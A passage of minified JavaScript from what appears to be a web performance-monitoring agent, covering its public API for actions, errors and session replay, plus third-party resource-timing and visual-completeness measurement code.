mk=!0};a.prototype.signalLoadEnd=function(){0<arguments.length&&wc();tc("sle");pe()};a.prototype.markAsErrorPage=function(b,d){if(!vc(b,"number")||!vc(d,"string"))return Rc(),!1;2<arguments.length&&wc();tc("maep");return ui(b,d)};a.prototype.markXHRFailed=function(b,d,f){if(!vc(b,"number")||!vc(d,"string")||f&&!vc(f,"number"))return Rc(),!1;3<arguments.length&&wc();tc("mxf");return Fd(b,d,Number(f)||-1)};a.prototype.sendSignal=function(b,d,f){Tf("method","sendSignal",'Use "sendBeacon" instead. We will remove "sendSignal" in June 2022.'); vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.sendBeacon=function(b,d,f){vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.enterAction=function(b,d,f,l){if(!vc(b,"string")||!Me(d,"string")||l&&!vc(l,"string"))return Rc(),2;d&&Tf("parameter","actionType","This is not used anymore and will be removed in June 2022.");5<arguments.length&&wc();tc("ea");var r=f;if(r){if(!Number(r))return Rc(), 2;r=wh(r)}return ud(b,d,Number(r),!1,void 0,void 0,!0,String(l))};a.prototype.addEnterActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("aeal"),$f(b)):Rc()};a.prototype.removeEnterActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("real");var d=b.dtWF;d&&wb("ACTION_ENTERED",d)}else Rc()};a.prototype.leaveAction=function(b,d,f){if(vc(b,"number")&&Me(d,"number")&&Me(f,"number")){3<arguments.length&&wc();tc("la");var l=f;l&&(l=wh(l));var r=d;r&&(r=wh(r));We(b,r,l)}else Rc()}; a.prototype.addLeaveActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("alal"),qf(b)):Rc()};a.prototype.removeLeaveActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rlal");var d=b.dtWF;d&&wb("ACTION_LEFT",d)}else Rc()};a.prototype.addActionProperties=function(b,d,f,l,r){!vc(b,"number")||d&&!vc(d,"object")||f&&!vc(f,"object")||l&&!vc(l,"object")||r&&!vc(r,"object")?Rc():(5<arguments.length&&wc(),tc("aap"),uh(b,d,f,l,r))};a.prototype.reportError=function(b,d){("object"!== typeof b&&"string"!==typeof b||null===b?0:"object"===typeof b&&"message"in b||"string"===typeof b)&&Me(d,"number")?(2<arguments.length&&wc(),tc("re"),Uk(b,d,!1,"0")):Rc()};a.prototype.identifyUser=function(b){vc(b,"string")?(1<arguments.length&&wc(),tc("iu"),Oc()?Qh()&&fg("navigator.doNotTrack is enabled on the browser"):nd("rx_visittag",b,-1)):Rc()};a.prototype.startThirdParty=function(b,d){Tf("method","startThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022."); if(Oj(b,zn)&&vc(d,"string")){1<arguments.length&&wc();tc("statp");var f=mb.dT_;f&&f.tpih&&f.tpstr(b,d)}else Rc()};a.prototype.stopThirdParty=function(b,d,f,l){Tf("method","stopThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");if(!vc(b,"string")||!vc(d,"boolean")||f&&!vc(f,"number")||l&&!vc(l,"number"))Rc();else{4<arguments.length&&wc();tc("stotp");var r=C();r&&r.tpih&&r.tpsto(b,d,Number(f),Number(l))}};a.prototype.addPageLeavingListener= function(b){Fc(b)?(1<arguments.length&&wc(),tc("apll"),rb("PAGE_LEAVING",function(d){b(d.detail)})):Rc()};a.prototype.beginUserInput=function(b,d,f,l){if(!Pa(b)&&!vc(b,"string")||!vc(d,"string")||!Me(f,"string")||!Me(l,"number"))return Rc(),{};4<arguments.length&&wc();tc("bui");return Ub(b,d,f,l)};a.prototype.endUserInput=function(b){("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"info"in b&&"title"in b)?(1<arguments.length&&wc(),tc("eui"),dd(b)):Rc()};a.prototype.enterXhrAction= function(b,d,f){if(!vc(b,"string")||!Oj(d,Tn)&&f&&!vc(f,"string"))return Rc(),-1;2===d&&Tf("parameter","xmode 2","Use 1 instead. All subactions are visible.");3<arguments.length&&wc();tc("exa");return bf(b,d||void 0,String(f),!0)};a.prototype.leaveXhrAction=function(b,d){if(vc(b,"number")&&Me(d,"number")){2<arguments.length&&wc();tc("lxa");var f=d;f&&(f=wh(d));Ed(b,void 0,void 0,f)}else Rc()};a.prototype.enterXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("exc"),mg(b)):Rc()}; a.prototype.leaveXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("lxc"),kh(b)):Rc()};a.prototype.signalOnLoadStart=function(){0<arguments.length&&wc();tc("sols");Od()};a.prototype.incrementOnLoadEndMarkers=function(){0<arguments.length&&wc();tc("iolem");td()};a.prototype.signalOnLoadEnd=function(){0<arguments.length&&wc();tc("sole");Dc()};a.prototype.actionName=function(b,d){if(!vc(b,"string")||d&&!vc(d,"number"))return Rc(),2;2<arguments.length&&wc();tc("an");return"string"!== typeof b?2:d&&"number"!==typeof d?3:Xe("an",b,Number(d))?0:1};a.prototype.endSession=function(){0<arguments.length&&wc();tc("es");Mj()};a.prototype.now=function(){0<arguments.length&&wc();tc("n");return kc()};a.prototype.enable=function(){0<arguments.length&&wc();tc("e");Ml()};a.prototype.disable=function(){0<arguments.length&&wc();tc("d");nl()};a.prototype.addVisitTimeoutListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("avtl"),Ud(b)):Rc()};a.prototype.enableSessionReplay=function(b){if(vc(b, "boolean")){1<arguments.length&&wc();tc("esr");var d=mb.dT_;d&&d.srel&&d.srel(b)}else Rc()};a.prototype.disableSessionReplay=function(){0<arguments.length&&wc();tc("dsr");var b=mb.dT_;b&&b.srel&&b.srdl()};a.prototype.getAndEvaluateMetaData=function(){0<arguments.length&&wc();tc("gaemd");var b=mb.dT_;return b&&b.gEMD?b.gEMD():[]};a.prototype.enablePersistentValues=function(){0<arguments.length&&wc();tc("epv");Em()};a.prototype.disablePersistentValues=function(b){vc(b,"boolean")?(1<arguments.length&& wc(),tc("dpv"),Mh(b)):Rc()};a.prototype.registerPreDiffMethod=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rpdm");var d=mb.dT_;d&&d.srel&&Ue(d.srpdm,0)&&d.srpdm.push(b)}else Rc()};a.prototype.sendSessionProperties=function(b,d,f,l){if(Me(b,"object")&&Me(d,"object")&&Me(f,"object")&&Me(l,"object"))return 4<arguments.length&&wc(),tc("ssp"),Wk(b,d,f,l);Rc()};a.prototype.reportCustomError=function(b,d,f,l){if(vc(b,"string")&&vc(d,"string")&&Me(f,"string")&&(Me(l,"number")||Me(l,"boolean")))if(4< arguments.length&&wc(),tc("rce"),b&&d){var r=[["type",b],["name",d]];f&&r.push(["hint",String(f)]);ag("_customerror_",r,l)}else Qh()&&fg("Key or value is missing but mandatory for 'reportCustomError' method!");else Rc()};a.prototype.enableManualPageDetection=function(){0<arguments.length&&wc();tc("emvd");B(3)};a.prototype.setPage=function(b){if(!("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"group"in b))return Rc(),-1;1<arguments.length&&wc();tc("sp");return Nj(b,3)};return a}(), Bm=[],uk=-1,sj,Cm={},Pj,Yk=!1,sk=!!mb.MutationObserver,$k=mb.MutationObserver?mb.MutationObserver:void 0,gg={},em={},Xi={},tk=[],cl={},il="".concat(1).concat(","),Ym=[],hl=[],Yi={},hm,Jl,di,jf={},Wj=null,zk=[],gi,yg=0,ei=0,fi,zg,jl=[],kl,Bk,eh,im,Zm,ll=[],Yj=0,$m=["click","mousedown","keydown","touchstart"],Lh=0,Ci=0;(function(a){var b,d,f,l;a=a||0>(null===(b=navigator.userAgent)||void 0===b?void 0:b.indexOf("RuxitSynthetic"));if(!mb.dT_||!mb.dT_.ica)null===(d=mb.console)||void 0===d?void 0:d.log("No initCode available, turning off asyncCore."), mb.dT_&&(mb.dT_.di=2);else if("initialized"in mb.dT_&&mb.dT_.initialized)null===(f=mb.console)||void 0===f?void 0:f.log("Duplicate agent injection detected, turning off redundant asyncCore."),mb.dT_.di=1;else if(a&&!jm()){try{delete mb.dT_}catch(r){mb.dT_=void 0}null===(l=mb.console)||void 0===l?void 0:l.log("JsAgent asyncCore initialization failed!")}})(!1)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(q,D){void 0===D&&(D=[]);var t=la.dT_;t=(null===t||void 0===t?0:t.iIO)?t.iIO:null;return!(null===t||void 0===t||!t(q,D))}function La(q){return ua&&ra(q,13)&&"navigation"!==q.entryType||ra(q,["_dtCl"])}function gb(){ca.gSig&&(ka=-1,Za=0,I=!0)}function db(q,D){var t=D.domain;if(!t)return q;var y=q.Fe[t];y||(y=[],q.Fe[t]=y,q.Cf.push(t));y.push(D);return q} function Ea(q,D){q.count++;var t=Number(q.low);q.low=Math.min(isNaN(t)?Number.MAX_VALUE:t,D);q.high=Math.max(q.high,D);q.Vb=Math.round((q.Vb*(q.count-1)+D)/q.count)}function Ua(q,D){var t=D.Sa,y=D.Fb,Y=D.type,x=D.Wa,oa=D.wb;D=D.$a;var R=q[Y];R||(R={Wa:0,$a:0,$d:0,wb:0,ze:Pa(),je:Pa()},q[Y]=R);if(t.start&&t.stop){Y=R.je;var O=t.start;t=t.stop;var wa=V();Ea(Y,t-O);Y.Zb.add(O-wa,t-wa)}if(y.start&&y.stop){t=R.ze;Y=y.start;O=y.stop;y=y.duration;0>y&&(y=O-Y);if(0>y||3E5<y)y=0;Ea(t,y);t.Zb.add(Y,O)}R.Wa+= Number(x);R.wb+=Number(oa);x||(R.$a+=Number(D),R.$d+=Number(!D));q.bc=Math.max(q.bc,R.ze.high,R.je.high);return q}function Pa(){return{Zb:new Cb,Vb:0,high:0,count:0,kj:[]}}function za(){var q=ca;return q&&!!q.gIA&&q.re_t}function ab(q,D){q=Math.max(q.Sa.duration,q.Fb.duration);D=Math.max(D.Sa.duration,D.Fb.duration);return q<D?1:q===D?0:-1}function ba(q){for(var D=[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),t<D.length-1&&q.push("|")}function Z(q){for(var D= [],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),q.push("|")}function Aa(q,D,t,y){var Y=q;0<ka&&q.length>ka&&(q.sort(function(Eb,Lb){return t[Lb].bc-t[Eb].bc}),Y=q.slice(0,ka));q=[];for(var x=V(),oa=0;oa<Y.length;oa++){var R=Y[oa],O=t[R];0<q.length&&ba(q,";");Z(q,Ab(R),"featureHash");var wa=0,Ga=q.length-2,Wa=O.i;Wa&&(Z(q,Wa),wa+=2);if(Wa=O.s)Z(q,Wa),wa+=4;if(Wa=O.c)Z(q,Wa),wa+=8;if(Wa=O.o)Z(q,Wa),wa+=16;if(O=O.y)Z(q,O),wa+=32;q.pop();q[Ga]=wa.toString(32);na(D[R], q,x)}return 0>=q.length?"":aa("".concat(y,"-").concat(x,";").concat(q.join("")))}function na(q,D,t){var y=Math.min(q.length,Za);q.sort(ab);for(var Y=0;Y<y&&(q[Y].Sa.duration>=Oa||q[Y].Fb.duration>=Oa);Y++){var x=q[Y],oa=x.Sa,R=x.url,O=x.Wa,wa=x.$a,Ga=x.type,Wa=x.Td;x=x.Fb;ba(D,",");var Eb="";O||(Eb=wa?"i":"f");ba(D,Ga+Eb,oa.start?oa.start-t:0,oa.stop?oa.stop-t:0,Ab(Wa),ib(R));x.start&&ba(D,"",x.start,x.stop)}}function ta(q,D,t,y){if(za()){var Y=V();if(!q.length||0>=Y)t&&t("");else{for(Y=0;Y<q.length;Y++)Ma(q[Y]); y=y||!t;t=t||function(){};q=yb(q,db,{Cf:[],Fe:{}});Ja(q.Fe,q.Cf,t,D,y)}}}function Ma(q){var D=q.Sa;!D.stop&&D.start&&("i"===q.type?(q.$a=!0,q.Wa=!1,D.stop=Va()):(q.Fb.start||(q.Wa=!0),D.stop=D.start));D.duration=D.stop?D.stop-D.start:D.duration}function Ja(q,D,t,y,Y){var x={};qa(D,function(oa){for(var R=yb(q[oa],Ua,{ik:{type:"",$a:"",Aj:{start:0,stop:0},Wj:{start:0,stop:0},Td:"",url:""},bc:0}),O={bc:R.bc},wa=0,Ga=bd;wa<Ga.length;wa++){var Wa=Ga[wa],Eb=R[Wa];if(Eb){var Lb=Wa,Nb=Eb.je,ac=Eb.ze,rc=Eb.Wa, mc=Eb.$d,Oc=Eb.$a;Eb=Eb.wb;Eb="i"===Wa||"s"===Wa?[rc,mc,Oc,Eb,Nb.count,ac.count,Nb.Zb.dd(),Nb.Vb,Nb.count?Nb.low:"0",Nb.high,ac.Zb.dd(),ac.Vb,ac.count?ac.low:"0",ac.high].join("|"):"o"===Wa||"c"===Wa?[rc,mc,Oc,Eb,ac.Zb.dd(),ac.Vb,ac.low||"0",ac.high].join("|"):[rc,Nb.Zb.dd(),Nb.Vb,Nb.low||"0",Nb.high].join("|");O[Lb]=Eb}}x[oa]=O},void 0,function(){t(Aa(D,q,x,y))},!Y)}function fa(q,D,t,y){var Y=ca;Y.gIA&&!D&&W.dT_.las()&&(Y.gIA()&&!t?W.dT_.sMPS(1E3):(ta(W.dT_.oV(Ka),gc(),function(x){q.av(y,"3p",x, !0)},!0),W.dT_.rBPSL(fa),Ka={}))}function S(q){-1<q.indexOf("ScriptResource.axd")?q="js":(q=q.substring(1+q.lastIndexOf("/")),0<q.indexOf("?")&&(q=q.split("?")[0]),0<q.indexOf("#")&&(q=q.split("#")[0]),q=0<q.indexOf(".")?q.substring(q.lastIndexOf(".")+1):"-");switch(q){case "js":return"s";case "gif":case "png":case "jpg":case "jpeg":case "ico":case "tiff":case "bmp":case "xbm":case "svg":return"i";case "css":return"c";default:return"o"}}function va(q){q=vb()+q.startTime;q-=V();return Math.round(q)} function ja(q,D,t,y){var Y=q.resources;q=q.actionId;if(jb().op){for(var x=[],oa={},R=0;R<Y.length;R++){var O=Y[R];oa[O.name]||(x.push(O),oa[O.name]=!0)}Y=x}x=[];oa=0;for(R=Y;oa<R.length;oa++){O=x;var wa=O.push,Ga=R[oa],Wa=S(Ga.name.toLowerCase()),Eb=Ga,Lb=Eb.duration;!Lb&&La(Eb)&&(Lb=Eb.responseEnd-Eb.startTime);Eb=Lb?Math.round(Lb):0;Lb=va(Ga);var Nb=Ga;La(Nb)&&0<Nb.responseEnd?(Nb=vb()+Nb.responseEnd,Nb-=V(),Nb=Math.round(Nb)):Nb=Math.round(Va()-V());Eb={duration:Eb,start:Lb,stop:Nb};Lb=Ga.name; Nb=nb(Ga.name);var ac=va(Ga)<=pa()?"_load_":"-",rc=0===Ga.responseEnd;var mc=Ga;mc=mc.failedResource?!1:nb(mc.name)===$a&&jb().ie?0!==mc.requestStart:0<mc.responseEnd;Ga=jb().ch?0!==Ga.domainLookupStart&&0===Ga.requestStart:nb(Ga.name)!==$a&&0===Ga.requestStart&&2>Ga.duration?!0:0>=Ga.responseEnd?!1:Ga.requestStart===Ga.fetchStart&&Ga.requestStart===Ga.responseStart&&Ga.responseStart!==Ga.responseEnd;wa.call(O,{type:Wa,Fb:Eb,Sa:{duration:0,start:0,stop:0},url:Lb,domain:Nb,Td:ac,$a:rc,Wa:mc,wb:Ga, Rf:!1})}eb(D,q,x,Y,t,y)}function U(q,D,t,y){var Y=vb();if(!q.length||0>=Y)t("");else{var x=[];qa(q,function(oa){if(Ba&&x.length/2>=Ba)oa=!1;else{var R=oa.startTime,O;if(O=!(R<("iframe"===oa.initiatorType?1:0)))O=oa.actionId,O=!O||O===D;O&&(R=R?["b",Math.round(R)]:[],Hb(oa,R,vb()),x.push(Vb(oa.name),R.join("")));oa=!0}return oa},void 0,function(){t(aa("".concat(D||gc(),"-").concat(Math.round(Y),";").concat(x.join("|"))))},!y)}}function eb(q,D,t,y,Y,x){Ka={};U(y,D,function(oa){oa&&q.pg.push(oa);Y()}, x)}function L(q,D,t,y){var Y=ca;W.dT_.las()&&Y.gSig&&Y.re_r?(Y=pa(),!t&&(0>=Y||3E3>Va()-Y)?(W.dT_.sMPS(2E3),Y=!1):Y=!0):Y=!1;if(Y&&!D){D=ca;gb();D.gSig&&C(D.gSig(t),t);!Qb.length||W.dT_.last()+3E4<=Va()&&W.dT_.last()?(Qb=[],t=void 0):t=Qb.splice(0,1)[0];if(t)for(t=t.pg,D=0;D<t.length;D++)q.av(y,"rt",t[D],!0,D);Qb.length&&W.dT_.sMPS(100)}}function C(q,D){for(var t={pg:[],resourceSummaries:[]},y=q.length,Y=0,x=0;x<q.length;x++)ja(q[x],t,function(){Y++;Y===y&&(Qb.push(t),W.dT_.sMPS(0))},D)}function H(q, D){var t=Va();Ka[D]||(q={type:q,Sa:{start:t,stop:0,duration:0},Fb:{start:0,stop:0,duration:0},url:D,domain:nb(D),Td:W.dT_.can()||"-",wb:!1,Wa:!1,$a:!1,Rf:!1},Ka[q.url]=q)}function Q(q,D,t,y){if(q=Ka[q])q.Sa.start=t||q.Sa.start,q.Sa.stop=y||Va(),q.Wa=D,D||(q.wb=!1,q.Rf=!0)}function ia(q){var D=nb(q),t=-1!==q.indexOf("chrome-extension://")||-1!==q.indexOf("chrome://")||-1!==q.indexOf("data:")||-1!==q.indexOf("javascript:")||-1!==q.indexOf("about:")||-1!==q.indexOf("res://");q=-1!==q.indexOf("://localhost/")|| -1!==q.indexOf("://localhost:")||D&&-1!==D.indexOf(".local",D.length-6);return I?!t:!t&&!q&&!!D&&D!==$a}var W="undefined"!==typeof window?window:self,la="undefined"!==typeof window?window:self,ua="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,Ka={},Hb,ib,aa,qa,V,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca,Oa=500,Za=3,I=!0,ka=-1,Ba,$a,Cb=function(){function q(){this.head=null}q.prototype.add=function(D,t){if(!(D>t)){t={start:D,stop:t,next:null};var y=this.head,Y= null;if(y){for(;y&&D>y.start;)Y=y,y=y.next;Y?(t.next=Y.next,Y.next=t):(t.next=this.head,this.head=t)}else this.head=t,t.next=null}};q.prototype.reduce=function(){for(var D=this.head;D&&D.next;){for(;D.next&&D.stop+1>=D.next.start;)D.stop<=D.next.stop&&(D.stop=D.next.stop),D.next=D.next.next;D=D.next}};q.prototype.dd=function(){this.reduce();var D=[];if(this.head){var t=this.head;do 0<D.length&&D.push("_"),D.push(t.start),D.push("_"),D.push(t.stop),t=t.next;while(t)}return D.join("")};return q}(), bd=["c","o","i","s","y"],Qb=[],Zb;(function(q){var D,t;return(Zb=la.dT_)&&(null===(t=(D=W.dT_).ssmbi)||void 0===t?0:t.call(D,"2",q,!0))?(q=Zb,Hb=q.snt,ib=q.tpesc,aa=q.esc,qa=q.fE,V=q.lst,Va=q.nw,pa=q.gLAet,nb=q.gh,lb=q.loc,jb=q.gBI,Ab=q.aesc,gc=q.lAID,Vb=q.aur,Ha=q.stcv,yb=q.red,vb=q.gto,q=ca=la.dT_,D=W.dT_.scv("tp").split(","),t=D.length,3>t||5<t||(Oa=W.dT_.pn(D[0],10),Za=W.dT_.pn(D[2],10),4<=t&&(I=!!W.dT_.pn(D[3],10)),5<=t&&(ka=W.dT_.pn(D[4],10)),Ba=W.dT_.ncv("rtl"),q.syn&&(Ba=0,ka=-1,I=!0,Ha("rtp", 1),Ha("rtu",800)),$a=nb(lb())),W.dT_.st(gb,0),Ka={},W.dT_.aBPSL(fa),q=la.performance,0<((null===q||void 0===q?void 0:q.timeOrigin)||(null===q||void 0===q?void 0:q.timing.navigationStart))&&W.dT_.aBPSL(L),!0):!1})(!1)&&(Zb.tpih=ia,Zb.tpstr=H,Zb.tpsto=Q)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(u){for(var E,N=1,ha=arguments.length;N<ha;N++){E=arguments[N];for(var sa in E)Object.prototype.hasOwnProperty.call(E,sa)&&(u[sa]=E[sa])}return u};return La.apply(this,arguments)}function gb(u,E){void 0===E&&(E=[]);var N=oc.dT_;N=(null===N||void 0===N?0:N.iIO)?N.iIO:null;return!(null===N||void 0=== N||!N(u,E))}function db(u){return u&&"IFRAME"===u.nodeName}function Ea(u){return u&&"IMG"===u.nodeName}function Ua(u,E,N,ha){function sa(Ia){return Ia instanceof N?Ia:new N(function(bb){bb(Ia)})}return new (N||(N=ra))(function(Ia,bb){function cb(fc){try{Ib(ha.next(fc))}catch(Ec){bb(Ec)}}function Fb(fc){try{Ib(ha["throw"](fc))}catch(Ec){bb(Ec)}}function Ib(fc){fc.done?Ia(fc.value):sa(fc.value).then(cb,Fb)}Ib((ha=ha.apply(u,E||[])).next())})}function Pa(u,E){function N(Ib){return function(fc){return ha([Ib, fc])}}function ha(Ib){if(Ia)throw new TypeError("Generator is already executing.");for(;sa;)try{if(Ia=1,bb&&(cb=Ib[0]&2?bb["return"]:Ib[0]?bb["throw"]||((cb=bb["return"])&&cb.call(bb),0):bb.next)&&!(cb=cb.call(bb,Ib[1])).done)return cb;if(bb=0,cb)Ib=[Ib[0]&2,cb.value];switch(Ib[0]){case 0:case 1:cb=Ib;break;case 4:return sa.label++,{value:Ib[1],done:!1};case 5:sa.label++;bb=Ib[1];Ib=[0];continue;case 7:Ib=sa.Ja.pop();sa.ia.pop();continue;default:if(!(cb=sa.ia,cb=0<cb.length&&cb[cb.length-1])&&(6=== Ib[0]||2===Ib[0])){sa=0;continue}if(3===Ib[0]&&(!cb||Ib[1]>cb[0]&&Ib[1]<cb[3]))sa.label=Ib[1];else if(6===Ib[0]&&sa.label<cb[1])sa.label=cb[1],cb=Ib;else if(cb&&sa.label<cb[2])sa.label=cb[2],sa.Ja.push(Ib);else{cb[2]&&sa.Ja.pop();sa.ia.pop();continue}}Ib=E.call(u,sa)}catch(fc){Ib=[6,fc],bb=0}finally{Ia=cb=0}if(Ib[0]&5)throw Ib[1];return{value:Ib[0]?Ib[1]:void 0,done:!0}}var sa={label:0,J:function(){if(cb[0]&1)throw cb[1];return cb[1]},ia:[],Ja:[]},Ia,bb,cb,Fb;return Fb={next:N(0),"throw":N(1),"return":N(2)}, "function"===typeof Symbol&&(Fb[Symbol.iterator]=function(){return this}),Fb}function za(u){return jd&&gb(u,13)&&"navigation"!==u.entryType||gb(u,["_dtCl"])}function ab(){return Se}function ba(u,E,N){if(!ke[N]){var ha=new Image;E={url:N,time:Na.dT_.nw(),element:ha,Tj:E};ta(ha,E,u);ha.src=N;ke[N]=ha}return ke[N]}function Z(u,E,N){var ha=Wc[E][N]||[];if(u.element){var sa=Na.dT_.aFI(ha,function(Ia){return Ia.element===u.element});0<=sa&&ha.splice(sa,1)}Aa(u,E,N)}function Aa(u,E,N){Wc[E][N]||(Wc[E][N]= []);Wc[E][N].push(u)}function na(u,E,N){E=Wc[E][N]||[];u=Na.dT_.aIOf(E,u);0<=u&&E.splice(u,1)}function ta(u,E,N){function ha(){na(E,2,N);Z(E,1,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}function sa(){na(E,2,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}Aa(E,2,N);u.addEventListener("load",sa);u.addEventListener("error",ha)}function Ma(){}function Ja(u){return 0<u.left+u.width&&u.left<va()&&0<u.top+u.height&&u.top<S()}function fa(u, E,N){E=N||E.tagName||E.nodeName;return u&&0<u.width&&0<u.height&&Ja(u)&&"BODY"!==E}function S(){Rd||(Rd=oc.innerHeight||Bd.clientHeight);return Pd.bwsH||Rd}function va(){Xe||(Xe=oc.innerWidth||Bd.clientWidth);return Pd.bwsW||Xe}function ja(u){var E=va(),N=S();return{top:0,left:0,width:Math.max(0,Math.min(u.left+u.width,E))-Math.max(0,Math.min(u.left,E)),height:Math.max(0,Math.min(u.top+u.height,N))-Math.max(0,Math.min(u.top,N))}}function U(u,E,N){if(!N&&eb(u))return!0;u=N||qa(E);(E="hidden"===u.visibility|| "none"===u.display||"0"===u.opacity||"polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px)"===u.clipPath)||(E=u.transform||"",u=!1,N=E.indexOf("("),0<N&&(E=E.substring(N+1,E.length-1).split(", "),u="0"===E[0],6===E.length?u=u||"0"===E[3]:16===E.length&&(u=u||"0"===E[5]||"0"===E[10])),E=u);return E}function eb(u){if(0<dc&&u.ue>=dc)return u.ve++,!0;u.ue++;return!1}function L(u){return Math.ceil(u.width*u.height)}function C(u,E,N,ha,sa,Ia){var bb;void 0===Ia&&(Ia="");try{if(!ha&&(ha=H(E,u.cb,sa),!fa(ha,E)))return null; sa=ha;var cb=(bb={},bb.url=Ia,bb.time=0,bb.node=E,bb.v=!U(u,E,N),bb.area=L(ja(sa)),bb.offset={top:sa.top,left:sa.left,width:sa.width,height:sa.height},bb.is=0,bb),Fb=Na.dT_.tau(Ia);(u=wb)&&u.test(Fb)&&(cb.is=2);return cb}catch(Ib){}return null}function H(u,E,N){void 0===E&&(E=new WeakMap);var ha=Na.dT_.gFId();var sa=E;E=sa.get(u);E||(E={},sa.set(u,E));if(E[ha])ha=E[ha];else{sa=oc.pageYOffset;var Ia=u.clientTop,bb=oc.pageXOffset,cb=u.clientLeft,Fb=0,Ib=0;V(u)&&(Fb=u.offsetWidth,Ib=u.offsetHeight); Fb={top:0,left:0,offsetWidth:Fb,offsetHeight:Ib,clientWidth:u.clientWidth,clientHeight:u.clientHeight};if("function"===typeof u.getBoundingClientRect)try{var fc=u.getBoundingClientRect(),Ec=fc.left;Fb.top=fc.top+sa-Ia;Fb.left=Ec+bb-cb}catch(ld){}ha=E[ha]=Fb}fc=ha.top;Ec=ha.left;N&&(fc+=N.top,Ec+=N.left);N={top:fc,left:Ec,width:ha.clientWidth,height:ha.clientHeight};V(u)&&(N.width=ha.offsetWidth,N.height=ha.offsetHeight);return N}function Q(u){return u.area>rb&&u.v&&0===u.is&&0<u.time}function ia(u, E){for(var N=0;N<E.length;N++){var ha=E[N],sa=0,Ia=ha===u?2:0;Q(ha)&&(Ia=Math.max(Ia,1));0===Ia&&(sa=0,ha.v||(sa+=1),ha.area>rb||(sa+=2),0!==ha.is&&(sa+=4));ha.relevance=Ia;ha.ireason=sa}}function W(u){if(u.length)return Na.dT_.red(u,function(E,N){return Q(N)&&(!E||E.time<=N.time)?N:E},void 0)}function la(){var u=Na.dT_.bcv,E=Na.dT_.scv,N=Na.dT_.ncv,ha=Na.dT_.de(E("iub"));try{ha&&(wb=new RegExp(ha,"i"))}catch(sa){}pc=u("vcfi");Sc=N("vcx");ed=N("tvc");$b=E("uana");Ac=Na.dT_.puesc(E("mb"));Ic=N("vcit"); Nc=1E3*Math.max(0,N("oat")-5);qd=u("fvdi");dc=N("vscl");rb=N("vct");ad=u("ccNcss");Lc=u("vrt")}function ua(u){for(var E=0;E<Te.length;E++)if(Te[E]===u){Te.splice(E,1);break}}function Ka(u){for(var E=Te.slice(),N=Te.length=0;N<E.length;N++)(0,E[N])(u)}function Hb(u){return!!u&&"about:blank"!==u&&u!==location.href&&u!==location.href.substring(0,location.href.lastIndexOf("/")+1)}function ib(u){try{return!!u.contentWindow&&!Na.dT_.gNNTV(u.contentWindow.performance,"loadEventEnd")}catch(E){return!1}}function aa(u){return!!u.area} function qa(u,E){void 0===E&&(E=oc);return E.getComputedStyle(u)}function V(u){var E=ye.get(u);if(E)return E;E=(gb(u,9)||u&&u.nodeType&&1===u.nodeType)&&("string"===typeof u.textContent||"string"===typeof u.innerText);ye.set(u,E);return E}function pa(u){var E=Na.dT_.gNTO(u);return function(N,ha){var sa=ha.duration,Ia=E+ha.startTime+sa;!sa&&za(ha)&&(Ia=E+ha.responseEnd);return Math.max(N,Ia)}}function Va(u,E,N){if(u){var ha;var sa=(ha={},ha.time=u.time,ha.offset=u.offset,ha.area=u.area,ha.url=u.url, ha.v=u.v,ha.node=u.node,ha.is=0,ha);sa.v&&(sa.v=E);N.push(sa)}}function nb(u,E,N,ha,sa,Ia,bb){return Ua(this,void 0,void 0,function(){var cb,Fb;return Pa(this,function(Ib){switch(Ib.label){case 0:return(cb=C(u,E,N,ha))&&E.contentWindow?[4,ka(u,E.contentWindow,cb.offset,void 0,sa)]:[3,2];case 1:Fb=Ib.J(),Na.dT_.fE(Fb,function(fc){fc.v=fc.v&&Ia;bb.push(fc)}),Ib.label=2;case 2:return[2]}})})}function lb(u,E,N){var ha=u.gLVD();return ha?(Va(ha.k,E,N),ra.resolve()):new ra(function(sa){u.addE("VISUALLY_COMPLETE", function(Ia){Va(Ia.detail.k,E,N);sa()})})}function jb(u,E,N,ha,sa,Ia,bb){void 0===bb&&(bb=!1);return new ra(function(cb,Fb){var Ib=!1,fc;eb(u)||(fc=qa(E,N));var Ec=fc&&fc.backgroundImage;if(Ec&&"none"!==Ec){var ld=0;for(Ec=Ec.split(",").map($a).filter(Oa);ld<Ec.length;ld++){var fd=Ec[ld];(fd=C(u,E,fc,Ia,ha,Na.dT_.tau(fd)))&&sa.push(fd)}}if(db(E)){var hd=E.contentWindow;Ib=function(){var od=fc,we=bb,ce;try{if(hd&&hd.dT_){var Xd=hd.dT_;Xd&&"ea"in Xd&&(ce=Xd)}}catch(Hd){}Xd=!U(u,E)&&Ja(Ia);(ce&&ce.gLVD? 